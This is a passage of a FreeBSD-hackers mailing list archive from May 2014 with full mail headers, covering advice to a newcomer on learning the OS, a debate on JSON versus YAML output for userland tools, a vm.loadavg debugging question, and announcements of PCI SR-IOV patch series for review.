FoJ/vsCv7ErzaVRU3+d8wkMrkELa8ImrOwmMA9HGlapeL1gj3rjyrLYOpA29zrp2YrNq GhBJZuatcofIoVKlieQvwiM2p4tDuPiq7J8oCcDRNcHJvXsKOxJ3g94nHsNA/B9I7HWq 7pTQ== MIME-Version: 1.0 X-Received: by 10.50.61.65 with SMTP id n1mr6658163igr.6.1400997531346; Sat, 24 May 2014 22:58:51 -0700 (PDT) Received: by 10.64.250.101 with HTTP; Sat, 24 May 2014 22:58:51 -0700 (PDT) Date: Sat, 24 May 2014 22:58:51 -0700 Message-ID: Subject: Re: How to get familiar with a system From: Dieter BSD To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 25 May 2014 05:58:52 -0000 > i know my poor English Some topics can be difficult even for native English speakers. I assume you have already looked for books, magazines, web forums, etc. in your preferred language. > Maybe i really need to involve myself into a small, real, project, > any suggestion? There are plenty of problem reports that need fixing. Some of the mailing lists get a list of open PRs posted to them weekly, or you can search with your web browser. http://www.FreeBSD.org/cgi/query-pr-summary.cgi?query From owner-freebsd-hackers@FreeBSD.ORG Sun May 25 13:25:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 43C7F6CE for ; Sun, 25 May 2014 13:25:11 +0000 (UTC) Received: from SNT004-OMC2S15.hotmail.com (snt004-omc2s15.hotmail.com [65.55.90.90]) by mx1.freebsd.org (Postfix) with ESMTP id 1EE642034 for ; Sun, 25 May 2014 13:25:10 +0000 (UTC) Received: from SNT148-W41 ([65.55.90.73]) by SNT004-OMC2S15.hotmail.com with Microsoft SMTPSVC(7.5.7601.22678); Sun, 25 May 2014 06:25:09 -0700 X-TMN: [vaAb4HOXQGyJ7GmTnpSaj7F1knFYM/Sm] X-Originating-Email: [tridente1@outlook.com] Message-ID: From: tridente 1 To: "freebsd-hackers@freebsd.org" Subject: What are the companies that take advantage of the codes and take absurd profitsusing the codes developed by project Linux and the BSD community ? Date: Sun, 25 May 2014 16:25:10 +0300 Importance: Normal MIME-Version: 1.0 X-OriginalArrivalTime: 25 May 2014 13:25:09.0866 (UTC) FILETIME=[C05B4CA0:01CF781C] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 25 May 2014 13:25:11 -0000 What are the companies that take advantage of the codes and take absurd pro= fitsusing the codes developed by project Linux and the BSD community ? = = From owner-freebsd-hackers@FreeBSD.ORG Sun May 25 19:00:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8A376A49 for ; Sun, 25 May 2014 19:00:39 +0000 (UTC) Received: from mail-oa0-x22e.google.com (mail-oa0-x22e.google.com [IPv6:2607:f8b0:4003:c02::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 561AA287B for ; Sun, 25 May 2014 19:00:39 +0000 (UTC) Received: by mail-oa0-f46.google.com with SMTP id i4so7517875oah.5 for ; Sun, 25 May 2014 12:00:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=PKcLD+9Rei6MlS3wqynttKt42wEuT9RsD43vKRwuJjI=; b=OuMbhU/bsQ/5wdIjx9/pM5vpk7hFJmHS12cMdkmOH3VjwQh4CT/ZAnlUlAvQV0EbEv AAsHqAp4CDGtqUueyjt3VAzBVw6XT76dAcEIOE2STOJZIDeDxKWKJTnyfxBER93TrguN X3alXv0X3z0tyF4JBzYDmYcAZaIdTVAxcR6JxEGrLFyEKqPLKTdm+fTZcOBboWcrblBd rTTbdc7QJqDT6Dom7H0rAd/LSH58CvE7DnalH5U+qPCTWNb2DPYIbAWeIeBPNDBqk40f A2lwNSi/MAf4c+9gmik0NW57VTluz4e0PPxx7vPNLv5D08D9uuLKSKLCS8fxflEu07Kc kExw== MIME-Version: 1.0 X-Received: by 10.182.144.161 with SMTP id sn1mr4118340obb.82.1401044438300; Sun, 25 May 2014 12:00:38 -0700 (PDT) Received: by 10.182.130.79 with HTTP; Sun, 25 May 2014 12:00:38 -0700 (PDT) In-Reply-To: References: Date: Sun, 25 May 2014 15:00:38 -0400 Message-ID: Subject: Re: How to get familiar with a system From: Joe Nosay To: Dieter BSD Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 25 May 2014 19:00:39 -0000 Just grab a project that catches your eye and follow it. From owner-freebsd-hackers@FreeBSD.ORG Sun May 25 22:11:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5000B946; Sun, 25 May 2014 22:11:22 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id E6DCC28CD; Sun, 25 May 2014 22:11:20 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s4PLxtKt025071; Sun, 25 May 2014 15:00:01 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s4PLxoKS025058; Sun, 25 May 2014 14:59:50 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from udns.ultimatedns.net ([209.180.214.225]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Sun, 25 May 2014 14:59:50 -0700 (PDT) Message-ID: In-Reply-To: References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <537F0DD9.6090805@highsecure.ru> <537F11A9.8020504@mu.org> Date: Sun, 25 May 2014 14:59:50 -0700 (PDT) Subject: Re: [GSoC] Machine readable output from userland utilities From: "Chris H" To: "Adrian Chadd" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: Alfred Perlstein , FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 25 May 2014 22:11:22 -0000 > Hey all, > > I'd actually prefer that some library API (like what's in libstatfoo) > gets fleshed out to cover what hooks and options are required so you > don't have to have the bikeshed argument of "what format." You only > need to write some code to output it in the format you want. > > The UNIX way is tools, not policy. The library is a policy, sure, but > it's a policy to let you define your own policies. It won't be locking > anyone into anything like "json or bust." > > So how about the focus be on that, rather than trying to teach > individual tools about individual encoding types? > +1 ...and thanks for mentioning it. :) > > > -a > > > On 23 May 2014 08:38, Jos Backus wrote: >> On May 23, 2014 2:15 AM, "Alfred Perlstein" wrote >>>point to note is that the intent is to have an output that is very >> consumable by modern scripting languages and modules. That would very >> likely be JSON output. >>> >>> -Alfred >> >> I'd actually prefer YAML output. YAML is a much more expressive superset of >> JSON (YAML parsers can read JSON), but given that VHS beat out BetaMax, I >> fully expect JSON to win, and YAML to fade into oblivion. Sad. >> >> Jos >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Sun May 25 23:20:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E3A0BF1A for ; Sun, 25 May 2014 23:20:35 +0000 (UTC) Received: from mail.soaustin.net (pancho.soaustin.net [76.74.250.40]) by mx1.freebsd.org (Postfix) with ESMTP id C46B42CFD for ; Sun, 25 May 2014 23:20:35 +0000 (UTC) Received: by mail.soaustin.net (Postfix, from userid 502) id 5A5245607F; Sun, 25 May 2014 18:20:34 -0500 (CDT) Date: Sun, 25 May 2014 18:20:34 -0500 From: Mark Linimon To: tridente 1 Subject: Re: What are the companies that take advantage of the codes and take absurd profitsusing the codes developed by project Linux and the BSD community ? Message-ID: <20140525232034.GA31479@lonesome.com> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Mailman-Approved-At: Mon, 26 May 2014 00:51:10 +0000 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 25 May 2014 23:20:36 -0000 trolling detected. plonk. mcl From owner-freebsd-hackers@FreeBSD.ORG Mon May 26 10:46:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DC73B930 for ; Mon, 26 May 2014 10:46:42 +0000 (UTC) Received: from mx7.valuehost.ru (mx7.valuehost.ru [217.112.42.214]) by mx1.freebsd.org (Postfix) with ESMTP id 9DC8122E4 for ; Mon, 26 May 2014 10:46:42 +0000 (UTC) Received: from mx7.valuehost.ru (localhost.valuehost.ru [127.0.0.1]) by mx7.valuehost.ru (Postfix) with ESMTP id 22B0C2EA96 for ; Mon, 26 May 2014 14:46:45 +0400 (MSK) Date: Mon, 26 May 2014 14:46:35 +0400 From: "Peter B. Pokryshev" To: freebsd-hackers@freebsd.org Subject: vm.loadavg debug Message-Id: <20140526144635.877141cdcc7fd41982fc5b44@valuehost.ru> Organization: ValueHost X-Mailer: Sylpheed 3.4.0beta5 (GTK+ 2.24.22; x86_64-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 26 May 2014 10:46:42 -0000 Hello! How can i debug this kernel variable vm.loadavg? Problem: this variable stop change after some days of uptime... FreeBSD 9.2-STABLE. -- Peter B. Pokryshev From owner-freebsd-hackers@FreeBSD.ORG Tue May 27 01:38:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AA1CA129 for ; Tue, 27 May 2014 01:38:32 +0000 (UTC) Received: from mail-ob0-x22a.google.com (mail-ob0-x22a.google.com [IPv6:2607:f8b0:4003:c01::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 770CD2E71 for ; Tue, 27 May 2014 01:38:32 +0000 (UTC) Received: by mail-ob0-f170.google.com with SMTP id uy5so8716049obc.1 for ; Mon, 26 May 2014 18:38:31 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=FTyYj5xeY4u+4A5oifDETxV66ezDnLizpC1+bUQnY9g=; b=lZv+LY9yHKPwA5o5C1ghxddltE14P/jIzjptfA9mj76ZhqTgmbuBaxGgASINDkgoJa SnlJJuF5At6T5iIe1sjFfmsYFP6xp1pFFwUxjcGaZnycRxQYyE2/QYeCoxXOcAUqnA2G Juv1qedGeGQfG5/AWDm+qyOjVhr0lx6lImh+CfS2PPgZpFo/pYBu9+HVgbSVIVf9JJau ZH/xmsPXoJxgrg9AxCRYLUtOYGL+MMV7hCSNC4k4pV+PQ9q89onAsY292wZRk76nQFGz PMYk1kHfkO8ZdwocSow0QaCOqZ+YHgZKfarVQVzLQIXpOVg59WH8Skv8KDKnRCysWxJg cLoA== MIME-Version: 1.0 X-Received: by 10.60.62.211 with SMTP id a19mr13130918oes.71.1401154711635; Mon, 26 May 2014 18:38:31 -0700 (PDT) Received: by 10.76.23.130 with HTTP; Mon, 26 May 2014 18:38:31 -0700 (PDT) Date: Mon, 26 May 2014 21:38:31 -0400 Message-ID: Subject: PCI SR-IOV patches for review From: Ryan Stone To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 27 May 2014 01:38:32 -0000 My work on the PCI SR-IOV driver framework is complete and ready for review. This includes: - extending the PCI infrastructure to be able to create SR-IOV Virtual Functions, allocating PCI resources to them and probing/attaching the VF driver - bhyve integration to make it easy to pass VFs to bhyve VMs as PCI passthrough devices - a flexible infrastructure for defining driver-specific configuration parameters - a unified configuration tool, iovctl, for configuring SR-IOV on PF devices At this point I do not yet have a fully working PF driver. I'm still working on the i40e and ixgbe drivers at this time, and I don't have an estimated completion date yet. The main reason why I would like this reviewed and committed ahead of the drivers is that some driver maintainers would like access to the SR-IOV infrastructure so that they can do the work in their own drivers. Ideally, we can have multiple SR-IOV drivers in place in time for 10.1-RELEASE. This work was sponsored by Sandvine Inc. Thanks to John Baldwin, who provided advice on how to integrate this into the pci driver, and to Jack Vogel, who gave pointers on the Intel drivers and hardware. I described the driver interface on a post to -arch earlier in the month: http://lists.freebsd.org/pipermail/freebsd-arch/2014-May/015332.html The interface is largely unchanged (but yes, I did eliminate the header pollution caused by nvlist_t :) ). The main difference is that the get_iov_config_schema method has been eliminated. Now, the PF and VF schemas are passed directly to pci_iov_attach() during the device_attach method. I did this because the proposed API could be abused by a PF driver that dynamically changed the schema that it provided at runtime, which was not the intention of the API. As the schema is administrator-facing I felt that changing it dynamically would be potentially very confusing to an administrator, and allowing it really doesn't bring any benefits. A driver might want to modify the schema based on the hardware type, but the driver can just as easily detect the hardware at attach as they can at runtime, so I don't think that this will be a problem. The driver interface and iovctl have manpages, so please refer to those before asking about the details of the interface from the driver maintaner's or administrator's perspective. The internal representation of the configuration schema and the SR-IOV configuration itself is described in depth in comments in . I've also put sample versions of both in the comments, which should prove useful when reviewing code that deals with those data structures. The patch series can be see here: http://people.freebsd.org/~rstone/patches/iov/ This is a fairly large change, so I've done my best to break it up into a lot of smaller, more digestible patches. Keep in mind that an individual patch may seem pointless in isolation (for example, it introduces a new API that is unused). Rest assured that another patch will be consuming the new APIs that I have added. The patches can be broken up into the following series of patches. I plan on start separate email threads on the relevant list for review of individual patches. If you have any comments or questions about an individual patch, please respond to the thread for that patch series. I will note the mailing list that I intended to send each patch series to below. This work depends on a port of libnv to the kernel. This work is nearly complete; I'm working with pjd@ to get some technical details ironed out and then I'll send those patches out for review. Any comments that anybody can offer would be greatly appreciated. Series 1/7: PCI Infrastructure Refactoring (freebsd-hackers) http://people.freebsd.org/~rstone/patches/iov/0001-Refactor-PCI-device-creation.patch http://people.freebsd.org/~rstone/patches/iov/0002-Refactor-PCI-resource-allocation.patch http://people.freebsd.org/~rstone/patches/iov/0003-Add-some-pcib-methods-to-get-ARI-related-information.patch Series 2/7: bhyve integration (freebsd-virtualization) http://people.freebsd.org/~rstone/patches/iov/0004-Allow-passthrough-devices-to-be-hinted.patch Series 3/7: manual pages (freebsd-doc) http://people.freebsd.org/~rstone/patches/iov/0005-Document-pci_iov_attach-detach-in-pci.9.patch http://people.freebsd.org/~rstone/patches/iov/0006-Add-manpages-for-SR-IOV-enable-disable-driver-interf.patch http://people.freebsd.org/~rstone/patches/iov/0014-Add-a-manpage-for-iovctl-8.patch http://people.freebsd.org/~rstone/patches/iov/0015-Add-manpage-documenting-iovctl-config-file-format.patch http://people.freebsd.org/~rstone/patches/iov/0020-Document-the-interface-for-defining-a-configuration-.patch Series 4/7: Core SR-IOV infrastructure in pci driver (freebsd-hackers) http://people.freebsd.org/~rstone/patches/iov/0007-Implement-interface-to-create-SR-IOV-Virtual-Functio.patch http://people.freebsd.org/~rstone/patches/iov/0008-Emulate-the-Device-ID-and-Vendor-ID-registers-for-VF.patch http://people.freebsd.org/~rstone/patches/iov/0009-Allocate-PCI-I-O-memory-spaces-for-VFs.patch http://people.freebsd.org/~rstone/patches/iov/0010-Add-interface-to-destroy-SR-IOV-VFs.patch Series 5/7: SR-IOV Configuration Interface (freebsd-hackers) http://people.freebsd.org/~rstone/patches/iov/0011-Add-infrastructure-for-exporting-config-schema-from-.patch http://people.freebsd.org/~rstone/patches/iov/0012-Add-function-to-validate-the-consistency-of-SR-IOV-c.patch http://people.freebsd.org/~rstone/patches/iov/0013-Pass-SR-IOV-configuration-to-kernel-using-an-nvlist.patch http://people.freebsd.org/~rstone/patches/iov/0021-Validate-the-schema-that-the-PF-driver-passed-to-us.patch Series 6/7: iovctl Configuration Tool (freebsd-hackers) http://people.freebsd.org/~rstone/patches/iov/0016-Add-iovctl-functions-for-validating-config.patch http://people.freebsd.org/~rstone/patches/iov/0017-Add-functions-for-parsing-the-iovctl-config-file.patch http://people.freebsd.org/~rstone/patches/iov/0018-Add-main-for-iovctl-and-hook-iovctl-into-build.patch Series 7/7: rc.d script (freebsd-rc) http://people.freebsd.org/~rstone/patches/iov/0019-Add-an-rc.d-script-to-invoke-iovctl-8-during-boot.patch From owner-freebsd-hackers@FreeBSD.ORG Tue May 27 01:39:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 464DA20F for ; Tue, 27 May 2014 01:39:42 +0000 (UTC) Received: from jerrymc.net (jerrymc.net [75.75.214.34]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 08AF52E7F for ; Tue, 27 May 2014 01:39:41 +0000 (UTC) Received: from jerrymc.net (localhost [127.0.0.1]) by jerrymc.net (8.14.5/8.14.5) with ESMTP id s4R13kV1039805; Mon, 26 May 2014 21:03:46 -0400 (EDT) (envelope-from jerrymc@jerrymc.net) Received: (from jerrymc@localhost) by jerrymc.net (8.14.5/8.14.5/Submit) id s4R13k7m039804; Mon, 26 May 2014 21:03:46 -0400 (EDT) (envelope-from jerrymc) Date: Mon, 26 May 2014 21:03:46 -0400 From: Jerry McAllister To: by Subject: Re: How to get familiar with a system Message-ID: <20140527010346.GA39761@jerrymc.net> References: <53816258.6030703@yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53816258.6030703@yahoo.com> User-Agent: Mutt/1.4.2.3i Cc: freebsd-hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 27 May 2014 01:39:42 -0000 On Sun, May 25, 2014 at 11:24:08AM +0800, by via freebsd-hackers wrote: > Hi, > > I really want to get familiar with an operating system, and i am using > FreeBSD 10 RELEASE on an i386 machine now, but the problem is how to > start, or i would say, what methods can be used to uncover the secret of > an operating system? > > Cause i have install the source code on my machine, i have tried to hack > the basic utilities one by one, like echo, ls, cat, etc. But i find i > work too slow, and i can not find the exciting experience i have got > before for resolving a problem. I know people can not dive into every > detail, just one deeply dig is okay. But i find i have no motion now, > may be i need a project : ) Maybe I ahve missed some earlier post[s] on this. You say you installed the 'source code' of FreeBSD on a machine. Did you install a running system on a machine and boot it up, etc? I would think that would be the first thing to do. Then start doing things. Read about 4.3 BSD. There is a good book by that name available. Then try and make some sort of block or flow diagram for it. Then learn the kernel, especially the scheduler and interrupt handler. If you get that under your hat, you will be ready to work on almost everything. Good luck, Have fun, ////jerry > And i know my skill is too poor to be a system programmer, at least i > hope i can be one : ) So anyone who already has familiar with an > operating system could share some ideas? > Everyone must has a beginning, and everyone has everyone's own ideas to > hack, but as a new comer, i still hope to get some ideas. > I know this is not a very specific questions, so i have not search the > mailing list to find some related answers, or i just want to interact > with hackers rather than the history papers as a question like this, i > hope this is not too rude : ) > Maybe because of the environment i live, i find it is not as easy as you > to get so many chances to practice, or just because of my lack of > courage. Maybe i should start up a company to push myself to work on > this, or i just need a related job and do my own hacks. I do not know > how to do. > Maybe i need a plan, actually, i have just planed for some book reading > everyday, i would say, there are three books, which are C related, UNIX > related, and of course FreeBSD related. I read these three books > everyday but just a little, i know my poor English and poor ability for > solving problems make my slow reading, and i know i make those three > books as dictionaries, and i think they are, and i know after i finish > the slow reading, when i get some problems in the future, i can get > benefits from this slow reading, and find related solving ways quickly > from these three books. But i know hackers should do some real things > not just for theories related. Maybe i really need to involve myself > into a small, real, project, any suggestion? > Well, i feel it is very stupid for asking questions like this, but i > know i really need this. > Actually the final problem is how to recognize this world, from a small, > simple point, or from the universe view? > : ) > > - by > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Tue May 27 01:41:38 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0F72430C for ; Tue, 27 May 2014 01:41:38 +0000 (UTC) Received: from mail-oa0-x22c.google.com (mail-oa0-x22c.google.com [IPv6:2607:f8b0:4003:c02::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 905072F06 for ; Tue, 27 May 2014 01:41:37 +0000 (UTC) Received: by mail-oa0-f44.google.com with SMTP id o6so8910487oag.3 for ; Mon, 26 May 2014 18:41:37 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=stckTpre9/rEAuCwTRhIwbPSszChlT7cCgFl9RDtdPs=; b=Pf2jr6f0/MqYyYKAlLrWIQgXEblSqCltez6AmswVSNUiWGgu6UL9Nz6QaFzIsqEjTf +xVySzSHbFa1VOPcOxOlSB0fUi8t3dReOo5jyjRa8E5if/t5aMr3Hwa+nTEXQOpIoEYa jQlr3RzZZxYAq1XKEHSQFCxzTpvERTv4sV/OlHOiBxWIl/FW97iHhnQM5I2HZzAvtZfp nsoiqvwhzaYd9HH/NHfKlLfEJqQD9vC+knRQ3U0YOSxjZ2nhVulQkCYeAf624ALrrh92 qg9qq4InF9XHXHWHDBHtSu96D8Z1tLRIKk7Cq7WuiFWWPtiDymweWLYPZjMUH3TrP0N6 4mDw== MIME-Version: 1.0 X-Received: by 10.60.72.100 with SMTP id c4mr28841005oev.25.1401154896934; Mon, 26 May 2014 18:41:36 -0700 (PDT) Received: by 10.76.23.130 with HTTP; Mon, 26 May 2014 18:41:36 -0700 (PDT) Date: Mon, 26 May 2014 21:41:36 -0400 Message-ID: Subject: SR-IOV Patch Series 1/7: PCI Infrastructure Refactoring From: Ryan Stone To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 27 May 2014 01:41:38 -0000 This set of patches refactors the PCI infrastructure a bit to offer some new APIs that the SR-IOV infrastructure will consume. The intention is that these refactorings should be no-ops for the existing APIs. http://people.freebsd.org/~rstone/patches/iov/0001-Refactor-PCI-device-creation.patch [PATCH 01/21] Refactor PCI device creation Refactor creation of PCI devices into helper methods that can be used by the VF creation code. --- sys/dev/pci/pci.c | 153 ++++++++++++++++++++++++++++++------------------------ 1 file changed, 86 insertions(+), 67 deletions(-) http://people.freebsd.org/~rstone/patches/iov/0002-Refactor-PCI-resource-allocation.patch [PATCH 02/21] Refactor PCI resource allocation Refactor PCI resource allocation code to allow a request for a memory-mapped I/O window that is a multiple of a requested size. This is needed by the SR-IOV code because the VF BARs are all allocated contiguously. We can't just allocate a resource that is a multiple of a single VF BAR because the size of an allocation implies its alignment requirement. --- sys/dev/pci/pci.c | 45 +++++++++++++++++++++++++++++---------------- sys/dev/pci/pci_private.h | 10 ++++++++++ 2 files changed, 39 insertions(+), 16 deletions(-) http://people.freebsd.org/~rstone/patches/iov/0003-Add-some-pcib-methods-to-get-ARI-related-information.patch [PATCH 03/21] Add some pcib methods to get ARI-related information --- sys/dev/pci/pci_pci.c | 33 +++++++++++++++++++++++++++++++++ sys/dev/pci/pcib_if.m | 25 +++++++++++++++++++++++++ sys/dev/pci/pcib_private.h | 2 ++ sys/dev/pci/pcib_support.c | 10 ++++++++++ sys/dev/pci/pcireg.h | 4 ++++ 5 files changed, 74 insertions(+) From owner-freebsd-hackers@FreeBSD.ORG Tue May 27 02:10:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1AE24C88 for ; Tue, 27 May 2014 02:10:13 +0000 (UTC) Received: from mail-oa0-x235.google.com (mail-oa0-x235.google.com [IPv6:2607:f8b0:4003:c02::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id DD4A120CF for ; Tue, 27 May 2014 02:10:12 +0000 (UTC) Received: by mail-oa0-f53.google.com with SMTP id m1so9017233oag.12 for ; Mon, 26 May 2014 19:10:12 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=qzzrDEqYcYLyvrrtfuVExkMJYTXfhUcXOMK4ljveOUA=; b=bNYnPNsB03b7XSC3ejSGC5R8yjezIRh7Bqo9aM20dMrjCP1YwXzC7nK+qGEthuNTo7 lEE8nqGmGo3cF84d1apaNaJ29gyA6zIUadtnp355L5+aBKTHOEnwbgDLUCFkWGYYcxcV jXb95IV7KmxJhGQM/18Ef3I6SHAfxdmN8QzROulfbvyFVp0Ny5XSaRya5fnqxPFrql/Q UFh8sOL0n6aCUFsU+khWDMBmqSKz4HZijC5S4sQ1ruqMxFNWl4JCBeBB5ZjzSXGTCsOf Ncu3mj2LRI9vkkgXMw3TWcHVG9aLr53jhvJ3fsrmIHvOHtSRtrPaXI/Y4+zrUv6+ppzD xqIg== MIME-Version: 1.0 X-Received: by 10.182.29.166 with SMTP id l6mr29430595obh.2.1401156612060; Mon, 26 May 2014 19:10:12 -0700 (PDT) Received: by 10.76.23.130 with HTTP; Mon, 26 May 2014 19:10:12 -0700 (PDT) Date: Mon, 26 May 2014 22:10:12 -0400 Message-ID: Subject: SR-IOV Patch Series 4/7: Core SR-IOV infrastructure in pci driver From: Ryan Stone To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 